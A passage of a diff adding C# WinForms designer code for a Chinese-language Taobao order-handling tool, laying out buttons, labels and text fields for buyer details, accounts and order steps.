+ this.panelSavePath.Click += new System.EventHandler(this.btnSavePath_Click); + // + // panelNextOrder + // + this.panelNextOrder.CanvasColor = System.Drawing.SystemColors.Control; + this.panelNextOrder.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelNextOrder.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelNextOrder.DisabledBackColor = System.Drawing.Color.Empty; + this.panelNextOrder.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelNextOrder.Location = new System.Drawing.Point(329, 643); + this.panelNextOrder.Name = "panelNextOrder"; + this.panelNextOrder.Size = new System.Drawing.Size(45, 21); + this.panelNextOrder.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelNextOrder.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.panelNextOrder.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.panelNextOrder.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelNextOrder.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelNextOrder.Style.CornerDiameter = 1; + this.panelNextOrder.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelNextOrder.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.panelNextOrder.Style.GradientAngle = 90; + this.panelNextOrder.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelNextOrder.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.panelNextOrder.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelNextOrder.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelNextOrder.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.panelNextOrder.TabIndex = 405; + this.panelNextOrder.Text = "下一单"; + this.panelNextOrder.Click += new System.EventHandler(this.buttonNextOrder_Click); + // + // panelOpenProUrl + // + this.panelOpenProUrl.CanvasColor = System.Drawing.SystemColors.Control; + this.panelOpenProUrl.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelOpenProUrl.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelOpenProUrl.DisabledBackColor = System.Drawing.Color.Empty; + this.panelOpenProUrl.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelOpenProUrl.Location = new System.Drawing.Point(305, 598); + this.panelOpenProUrl.Name = "panelOpenProUrl"; + this.panelOpenProUrl.Size = new System.Drawing.Size(69, 21); + this.panelOpenProUrl.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelOpenProUrl.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.panelOpenProUrl.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.panelOpenProUrl.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelOpenProUrl.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelOpenProUrl.Style.CornerDiameter = 1; + this.panelOpenProUrl.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelOpenProUrl.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.panelOpenProUrl.Style.GradientAngle = 90; + this.panelOpenProUrl.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelOpenProUrl.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.panelOpenProUrl.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelOpenProUrl.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelOpenProUrl.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.panelOpenProUrl.TabIndex = 401; + this.panelOpenProUrl.Text = "打开产品页"; + this.panelOpenProUrl.Click += new System.EventHandler(this.buttonX2_Click); + // + // panelLoginBuyer + // + this.panelLoginBuyer.CanvasColor = System.Drawing.SystemColors.Control; + this.panelLoginBuyer.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelLoginBuyer.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelLoginBuyer.DisabledBackColor = System.Drawing.Color.Empty; + this.panelLoginBuyer.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelLoginBuyer.Location = new System.Drawing.Point(293, 553); + this.panelLoginBuyer.Name = "panelLoginBuyer"; + this.panelLoginBuyer.Size = new System.Drawing.Size(81, 21); + this.panelLoginBuyer.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelLoginBuyer.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.panelLoginBuyer.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.panelLoginBuyer.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelLoginBuyer.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelLoginBuyer.Style.CornerDiameter = 1; + this.panelLoginBuyer.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelLoginBuyer.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.panelLoginBuyer.Style.GradientAngle = 90; + this.panelLoginBuyer.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelLoginBuyer.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.panelLoginBuyer.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelLoginBuyer.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelLoginBuyer.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.panelLoginBuyer.TabIndex = 397; + this.panelLoginBuyer.Text = "强制登录买手"; + this.panelLoginBuyer.Click += new System.EventHandler(this.loginUpButtonX_Click); + // + // panelCopy + // + this.panelCopy.CanvasColor = System.Drawing.SystemColors.Control; + this.panelCopy.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelCopy.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelCopy.DisabledBackColor = System.Drawing.Color.Empty; + this.panelCopy.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelCopy.Location = new System.Drawing.Point(83, 461); + this.panelCopy.Name = "panelCopy"; + this.panelCopy.Size = new System.Drawing.Size(38, 21); + this.panelCopy.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelCopy.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.panelCopy.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.panelCopy.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelCopy.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelCopy.Style.CornerDiameter = 1; + this.panelCopy.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelCopy.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.panelCopy.Style.GradientAngle = 90; + this.panelCopy.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelCopy.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.panelCopy.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelCopy.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelCopy.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.panelCopy.TabIndex = 389; + this.panelCopy.Text = "复制"; + this.panelCopy.Click += new System.EventHandler(this.buttonXCopyMsg_Click); + // + // panelPaySuccess + // + this.panelPaySuccess.CanvasColor = System.Drawing.SystemColors.Control; + this.panelPaySuccess.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelPaySuccess.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelPaySuccess.DisabledBackColor = System.Drawing.Color.Empty; + this.panelPaySuccess.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelPaySuccess.Location = new System.Drawing.Point(215, 28); + this.panelPaySuccess.Name = "panelPaySuccess"; + this.panelPaySuccess.Size = new System.Drawing.Size(62, 21); + this.panelPaySuccess.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelPaySuccess.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.panelPaySuccess.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.panelPaySuccess.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelPaySuccess.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelPaySuccess.Style.CornerDiameter = 1; + this.panelPaySuccess.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelPaySuccess.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.panelPaySuccess.Style.GradientAngle = 90; + this.panelPaySuccess.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelPaySuccess.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.panelPaySuccess.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelPaySuccess.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelPaySuccess.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.panelPaySuccess.TabIndex = 385; + this.panelPaySuccess.Text = "手动确认"; + this.panelPaySuccess.Click += new System.EventHandler(this.btnPaySuccess_Click); + // + // panelWwChat + // + this.panelWwChat.CanvasColor = System.Drawing.SystemColors.Control; + this.panelWwChat.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelWwChat.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelWwChat.DisabledBackColor = System.Drawing.Color.Empty; + this.panelWwChat.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelWwChat.Location = new System.Drawing.Point(137, 28); + this.panelWwChat.Name = "panelWwChat"; + this.panelWwChat.Size = new System.Drawing.Size(62, 21); + this.panelWwChat.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelWwChat.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.panelWwChat.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.panelWwChat.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelWwChat.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelWwChat.Style.CornerDiameter = 1; + this.panelWwChat.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelWwChat.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.panelWwChat.Style.GradientAngle = 90; + this.panelWwChat.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelWwChat.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.panelWwChat.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelWwChat.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelWwChat.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.panelWwChat.TabIndex = 381; + this.panelWwChat.Text = "旺旺聊天"; + this.panelWwChat.Click += new System.EventHandler(this.buttonX1_Click); + // + // txtTbCookies + // + // + // + // + this.txtTbCookies.Border.Class = "TextBoxBorder"; + this.txtTbCookies.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtTbCookies.Location = new System.Drawing.Point(85, 484); + this.txtTbCookies.Name = "txtTbCookies"; + this.txtTbCookies.Size = new System.Drawing.Size(241, 21); + this.txtTbCookies.TabIndex = 267; + this.txtTbCookies.Visible = false; + // + // lblTbCookiesPath + // + this.lblTbCookiesPath.AutoSize = true; + this.lblTbCookiesPath.Location = new System.Drawing.Point(7, 488); + this.lblTbCookiesPath.Name = "lblTbCookiesPath"; + this.lblTbCookiesPath.Size = new System.Drawing.Size(77, 12); + this.lblTbCookiesPath.TabIndex = 266; + this.lblTbCookiesPath.Text = "cookie路径:"; + this.lblTbCookiesPath.Visible = false; + // + // wwPictureBox + // + this.wwPictureBox.Image = ((System.Drawing.Image)(resources.GetObject("wwPictureBox.Image"))); + this.wwPictureBox.Location = new System.Drawing.Point(15, 634); + this.wwPictureBox.Name = "wwPictureBox"; + this.wwPictureBox.Size = new System.Drawing.Size(84, 22); + this.wwPictureBox.TabIndex = 264; + this.wwPictureBox.TabStop = false; + this.wwPictureBox.Click += new System.EventHandler(this.wwPictureBox_Click); + // + // SubOrderPictureBox + // + this.SubOrderPictureBox.Image = ((System.Drawing.Image)(resources.GetObject("SubOrderPictureBox.Image"))); + this.SubOrderPictureBox.Location = new System.Drawing.Point(15, 665); + this.SubOrderPictureBox.Name = "SubOrderPictureBox"; + this.SubOrderPictureBox.Size = new System.Drawing.Size(84, 22); + this.SubOrderPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; + this.SubOrderPictureBox.TabIndex = 263; + this.SubOrderPictureBox.TabStop = false; + this.SubOrderPictureBox.Click += new System.EventHandler(this.SubOrderPictureBox_Click); + // + // lblSubOrderTips2 + // + this.lblSubOrderTips2.AutoSize = true; + this.lblSubOrderTips2.BackColor = System.Drawing.Color.White; + this.lblSubOrderTips2.ForeColor = System.Drawing.SystemColors.AppWorkspace; + this.lblSubOrderTips2.Location = new System.Drawing.Point(105, 686); + this.lblSubOrderTips2.Name = "lblSubOrderTips2"; + this.lblSubOrderTips2.Size = new System.Drawing.Size(269, 12); + this.lblSubOrderTips2.TabIndex = 262; + this.lblSubOrderTips2.Text = "切换后请检查收货人信息与当前订单买家是否一致"; + // + // lblSubOrderTips1 + // + this.lblSubOrderTips1.AutoSize = true; + this.lblSubOrderTips1.BackColor = System.Drawing.Color.White; + this.lblSubOrderTips1.ForeColor = System.Drawing.SystemColors.AppWorkspace; + this.lblSubOrderTips1.Location = new System.Drawing.Point(105, 665); + this.lblSubOrderTips1.Name = "lblSubOrderTips1"; + this.lblSubOrderTips1.Size = new System.Drawing.Size(269, 12); + this.lblSubOrderTips1.TabIndex = 261; + this.lblSubOrderTips1.Text = "当淘宝订单\"提交订单\"按钮不可用时可点击此按钮"; + // + // lblNote + // + this.lblNote.AutoSize = true; + this.lblNote.Location = new System.Drawing.Point(9, 325); + this.lblNote.Name = "lblNote"; + this.lblNote.Size = new System.Drawing.Size(65, 12); + this.lblNote.TabIndex = 46; + this.lblNote.Text = "客服备注:"; + // + // txtServiceNote + // + // + // + // + this.txtServiceNote.Border.Class = "TextBoxBorder"; + this.txtServiceNote.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtServiceNote.Location = new System.Drawing.Point(83, 323); + this.txtServiceNote.Name = "txtServiceNote"; + this.txtServiceNote.ReadOnly = true; + this.txtServiceNote.Size = new System.Drawing.Size(275, 21); + this.txtServiceNote.TabIndex = 45; + // + // labelPrice + // + this.labelPrice.AutoSize = true; + this.labelPrice.Location = new System.Drawing.Point(9, 290); + this.labelPrice.Name = "labelPrice"; + this.labelPrice.Size = new System.Drawing.Size(65, 12); + this.labelPrice.TabIndex = 44; + this.labelPrice.Text = "购买售价:"; + // + // textBoxXPrice + // + // + // + // + this.textBoxXPrice.Border.Class = "TextBoxBorder"; + this.textBoxXPrice.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.textBoxXPrice.Location = new System.Drawing.Point(83, 288); + this.textBoxXPrice.Name = "textBoxXPrice"; + this.textBoxXPrice.ReadOnly = true; + this.textBoxXPrice.Size = new System.Drawing.Size(275, 21); + this.textBoxXPrice.TabIndex = 43; + // + // leaveMessageTextBoxX + // + // + // + // + this.leaveMessageTextBoxX.Border.Class = "TextBoxBorder"; + this.leaveMessageTextBoxX.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.leaveMessageTextBoxX.Location = new System.Drawing.Point(83, 397); + this.leaveMessageTextBoxX.Multiline = true; + this.leaveMessageTextBoxX.Name = "leaveMessageTextBoxX"; + this.leaveMessageTextBoxX.Size = new System.Drawing.Size(275, 60); + this.leaveMessageTextBoxX.TabIndex = 42; + // + // lblLeave + // + this.lblLeave.AutoSize = true; + this.lblLeave.Location = new System.Drawing.Point(9, 399); + this.lblLeave.Name = "lblLeave"; + this.lblLeave.Size = new System.Drawing.Size(65, 12); + this.lblLeave.TabIndex = 41; + this.lblLeave.Text = "买家留言:"; + // + // lblPayCuccessTips + // + this.lblPayCuccessTips.AutoSize = true; + this.lblPayCuccessTips.ForeColor = System.Drawing.SystemColors.AppWorkspace; + this.lblPayCuccessTips.Location = new System.Drawing.Point(283, 21); + this.lblPayCuccessTips.Name = "lblPayCuccessTips"; + this.lblPayCuccessTips.Size = new System.Drawing.Size(113, 36); + this.lblPayCuccessTips.TabIndex = 38; + this.lblPayCuccessTips.Text = "付款成功后,不自动\r\n\r\n跳转时,可手动确认"; + // + // skuComboBoxEx + // + // + // + // + this.skuComboBoxEx.Border.Class = "TextBoxBorder"; + this.skuComboBoxEx.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.skuComboBoxEx.Location = new System.Drawing.Point(83, 359); + this.skuComboBoxEx.Name = "skuComboBoxEx"; + this.skuComboBoxEx.Size = new System.Drawing.Size(275, 21); + this.skuComboBoxEx.TabIndex = 35; + // + // buyCountTextBoxX + // + // + // + // + this.buyCountTextBoxX.Border.Class = "TextBoxBorder"; + this.buyCountTextBoxX.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.buyCountTextBoxX.Location = new System.Drawing.Point(83, 254); + this.buyCountTextBoxX.Name = "buyCountTextBoxX"; + this.buyCountTextBoxX.Size = new System.Drawing.Size(275, 21); + this.buyCountTextBoxX.TabIndex = 33; + // + // lblbuyCount + // + this.lblbuyCount.AutoSize = true; + this.lblbuyCount.Location = new System.Drawing.Point(9, 256); + this.lblbuyCount.Name = "lblbuyCount"; + this.lblbuyCount.Size = new System.Drawing.Size(65, 12); + this.lblbuyCount.TabIndex = 32; + this.lblbuyCount.Text = "购买数量:"; + // + // lblsku + // + this.lblsku.AutoSize = true; + this.lblsku.Location = new System.Drawing.Point(9, 361); + this.lblsku.Name = "lblsku"; + this.lblsku.Size = new System.Drawing.Size(65, 12); + this.lblsku.TabIndex = 31; + this.lblsku.Text = "购买规格:"; + // + // expressNoTextBoxX + // + // + // + // + this.expressNoTextBoxX.Border.Class = "TextBoxBorder"; + this.expressNoTextBoxX.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.expressNoTextBoxX.Location = new System.Drawing.Point(83, 219); + this.expressNoTextBoxX.Name = "expressNoTextBoxX"; + this.expressNoTextBoxX.Size = new System.Drawing.Size(275, 21); + this.expressNoTextBoxX.TabIndex = 29; + // + // lblExpressNo + // + this.lblExpressNo.AutoSize = true; + this.lblExpressNo.Location = new System.Drawing.Point(9, 221); + this.lblExpressNo.Name = "lblExpressNo"; + this.lblExpressNo.Size = new System.Drawing.Size(65, 12); + this.lblExpressNo.TabIndex = 28; + this.lblExpressNo.Text = "物流单号:"; + // + // addressTextBoxX + // + // + // + // + this.addressTextBoxX.Border.Class = "TextBoxBorder"; + this.addressTextBoxX.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.addressTextBoxX.Location = new System.Drawing.Point(83, 185); + this.addressTextBoxX.Name = "addressTextBoxX"; + this.addressTextBoxX.Size = new System.Drawing.Size(275, 21); + this.addressTextBoxX.TabIndex = 27; + // + // lblAddress + // + this.lblAddress.AutoSize = true; + this.lblAddress.Location = new System.Drawing.Point(9, 187); + this.lblAddress.Name = "lblAddress"; + this.lblAddress.Size = new System.Drawing.Size(65, 12); + this.lblAddress.TabIndex = 26; + this.lblAddress.Text = "买家地址:"; + // + // mobileTextBoxX + // + // + // + // + this.mobileTextBoxX.Border.Class = "TextBoxBorder"; + this.mobileTextBoxX.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.mobileTextBoxX.Location = new System.Drawing.Point(83, 153); + this.mobileTextBoxX.Name = "mobileTextBoxX"; + this.mobileTextBoxX.Size = new System.Drawing.Size(275, 21); + this.mobileTextBoxX.TabIndex = 25; + // + // lblmobile + // + this.lblmobile.AutoSize = true; + this.lblmobile.Location = new System.Drawing.Point(9, 155); + this.lblmobile.Name = "lblmobile"; + this.lblmobile.Size = new System.Drawing.Size(65, 12); + this.lblmobile.TabIndex = 24; + this.lblmobile.Text = "买家电话:"; + // + // userNameTextBoxX + // + // + // + // + this.userNameTextBoxX.Border.Class = "TextBoxBorder"; + this.userNameTextBoxX.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.userNameTextBoxX.Location = new System.Drawing.Point(83, 133); + this.userNameTextBoxX.Name = "userNameTextBoxX"; + this.userNameTextBoxX.Size = new System.Drawing.Size(275, 21); + this.userNameTextBoxX.TabIndex = 23; + // + // lblUserName + // + this.lblUserName.AutoSize = true; + this.lblUserName.Location = new System.Drawing.Point(9, 135); + this.lblUserName.Name = "lblUserName"; + this.lblUserName.Size = new System.Drawing.Size(65, 12); + this.lblUserName.TabIndex = 22; + this.lblUserName.Text = "买家姓名:"; + // + // panelFresh + // + this.panelFresh.CanvasColor = System.Drawing.SystemColors.Control; + this.panelFresh.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelFresh.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelFresh.DisabledBackColor = System.Drawing.Color.Empty; + this.panelFresh.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelFresh.Location = new System.Drawing.Point(444, 6); + this.panelFresh.Name = "panelFresh"; + this.panelFresh.Size = new System.Drawing.Size(38, 21); + this.panelFresh.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelFresh.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.panelFresh.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.panelFresh.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelFresh.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelFresh.Style.CornerDiameter = 1; + this.panelFresh.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelFresh.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.panelFresh.Style.GradientAngle = 90; + this.panelFresh.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelFresh.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.panelFresh.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelFresh.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelFresh.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.panelFresh.TabIndex = 377; + this.panelFresh.Text = "刷新"; + this.panelFresh.Click += new System.EventHandler(this.buttonX3_Click); + // + // txtPwd + // + // + // + // + this.txtPwd.Border.Class = "TextBoxBorder"; + this.txtPwd.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtPwd.Location = new System.Drawing.Point(294, 6); + this.txtPwd.Name = "txtPwd"; + this.txtPwd.PasswordChar = '*'; + this.txtPwd.Size = new System.Drawing.Size(101, 21); + this.txtPwd.TabIndex = 589; + this.txtPwd.WatermarkText = "密码"; + this.txtPwd.TextChanged += new System.EventHandler(this.txtPwd_TextChanged); + // + // txtAcc + // + // + // + // + this.txtAcc.Border.Class = "TextBoxBorder"; + this.txtAcc.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtAcc.Location = new System.Drawing.Point(187, 6); + this.txtAcc.Name = "txtAcc"; + this.txtAcc.Size = new System.Drawing.Size(101, 21); + this.txtAcc.TabIndex = 588; + this.txtAcc.WatermarkText = "账户"; + // + // userComboBoxTaoBao + // + this.userComboBoxTaoBao.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.userComboBoxTaoBao.FormattingEnabled = true; + this.userComboBoxTaoBao.Location = new System.Drawing.Point(80, 4); + this.userComboBoxTaoBao.Name = "userComboBoxTaoBao"; + this.userComboBoxTaoBao.Size = new System.Drawing.Size(101, 25); + this.userComboBoxTaoBao.TabIndex = 553; + this.userComboBoxTaoBao.Text = "点击下拉切换"; + this.userComboBoxTaoBao.SelectedIndexChanged += new System.EventHandler(this.userComboBoxTaoBao_SelectedIndexChanged); + // + // panelLogin + // + this.panelLogin.CanvasColor = System.Drawing.SystemColors.Control; + this.panelLogin.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelLogin.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelLogin.DisabledBackColor = System.Drawing.Color.Empty; + this.panelLogin.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelLogin.Location = new System.Drawing.Point(401, 6); + this.panelLogin.Name = "panelLogin"; + this.panelLogin.Size = new System.Drawing.Size(37, 21); + this.panelLogin.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelLogin.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.panelLogin.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.panelLogin.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelLogin.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelLogin.Style.CornerDiameter = 1; + this.panelLogin.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelLogin.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + 